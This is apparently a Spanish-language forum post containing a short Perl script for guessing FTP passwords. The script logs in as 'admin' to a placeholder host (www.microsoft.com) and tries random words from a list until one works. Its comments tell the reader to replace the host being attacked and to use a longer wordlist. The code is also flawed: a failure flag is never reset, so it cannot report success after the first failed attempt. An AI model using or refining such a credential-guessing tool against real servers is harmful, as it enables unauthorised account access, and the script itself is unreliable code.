sencillo, pero rapido:P

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú#!/usr/bin/perl
#este programa va probando palabras de la lista @letras hasta que encuentra la contraseña correcta.
#este script esta hecho por sikik, bajo licencia bsd.
use Net::FTP;
$username=admin; #se podria hacer tambien en brute force, pero seria muy lento.
$dead=0;
while(1)
{
@letras=(a, b, c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga.
$posicion=rand(12);
$password=@letras[$posicion];
$ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos.
$ftp->login($username, $password) or $dead=1;
if($dead==0)
{
die("Contraseña encontrada, el password es: $password");
}
};